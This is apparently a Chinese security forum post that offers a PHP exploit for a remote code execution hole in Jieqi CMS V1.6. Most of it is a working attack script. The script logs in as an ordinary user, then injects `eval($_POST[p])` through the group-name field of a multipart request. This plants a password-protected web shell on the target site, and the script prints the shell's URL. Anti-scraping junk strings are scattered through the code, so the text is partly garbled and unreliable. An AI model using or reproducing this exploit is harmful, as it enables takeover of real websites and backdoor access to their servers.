找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2416|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。# y' I  ~: o% r. ?2 a. k
8 T+ \  |  ^. W2 C' x, c* C/ z; P

: l1 U6 ^7 i' m5 G% |: n该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。1 y+ R/ s8 S- G# v0 A. T
需要有一个能创建圈子的用户。
! c, ]7 o" x1 G ; ^  A" C( s+ k; W* S4 I, A
<?php
, U) B9 d8 R% k/ L& ^
! z- J5 f) I+ q' C" E. _* Vprint_r('
# X7 f8 c# j& l+ y# {6 u) [; o4 i+---------------------------------------------------------------------------+
3 W" ^$ P0 }% B2 b/ VJieqi CMS V1.6 PHP Code Injection Exploit
" V3 C7 D7 _& e- k/ Cby flyh4t
7 Z# }) o% D; u% D1 M) E7 O$ ^mail: phpsec at hotmail dot com+ i4 c/ I( _, s6 N! x# e
team: http://www.wolvez.org
1 t/ J, Z0 f$ H+---------------------------------------------------------------------------+! i1 G6 o9 J4 U1 _0 u, T& d- m
'); /**
1 i8 b" O; ^7 n5 W! z * works regardless of php.ini settings7 m# P! o5 `: a' Q) A& T# \" M2 l2 [" R
*/ if ($argc < 5) { print_r('/ B+ i$ a- N2 t+ y/ u3 }
+---------------------------------------------------------------------------+# {0 m3 d3 ?3 r
Usage: php '.$argv[0].' host path username
+ P, v' K( p1 }' ?  V! Fhost:      target server (ip/hostname)
7 B: {; q% ^. z3 }% Jpath:      path to jieqicms : d- u$ Z: @6 c1 ^) C* P2 f3 `
uasename:  a username who can create group  \; b; w6 g9 Y$ `: `: _9 x2 _
Example:5 K1 G/ V. v! v% A1 {! N6 `! V
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
; Z8 X* Z- j3 `( p+---------------------------------------------------------------------------+
& R- p6 R5 j" g2 @: e" K'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
  W2 t8 `# X0 c* xContent-Disposition: form-data; name="gname"
, L: {9 a6 c: f) w. a ' `+ m1 @9 f9 `* a8 n! d  n6 K
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
" B, r) e' n9 }, m" k-----------------------------23281168279961
5 P! Y  `3 D+ S: S0 iContent-Disposition: form-data; name="gcatid"
6 o: @, l* p1 k/ [3 X1 [+ n0 V
5 p" r3 [/ B8 K+ H$ y+ T1 F1
9 a% K! G* d% B0 U/ z/ H- W-----------------------------23281168279961
' e% F* e+ w% J' g1 Z) YContent-Disposition: form-data; name="gaudit"
5 Q( E0 A" T% b5 c! D$ _* { ; I' M4 \7 J5 [; q. u4 k, O
1
/ a6 v/ t6 K6 Q5 v) k# P-----------------------------232811682799615 H& x! d$ \  q" D
Content-Disposition: form-data; name="gbrief"- Z( r3 i$ @0 {5 [" u

# T2 v9 Y7 A! H: S; {# L1 g1
6 _% w6 ]& X# o% R  N6 ~4 D-----------------------------23281168279961--
! z, g2 v8 j& n2 a'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com- L4 K' J5 t* a) }$ h: N( O
2 I1 l& b" {8 Q' l" I% E$ n0 D
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表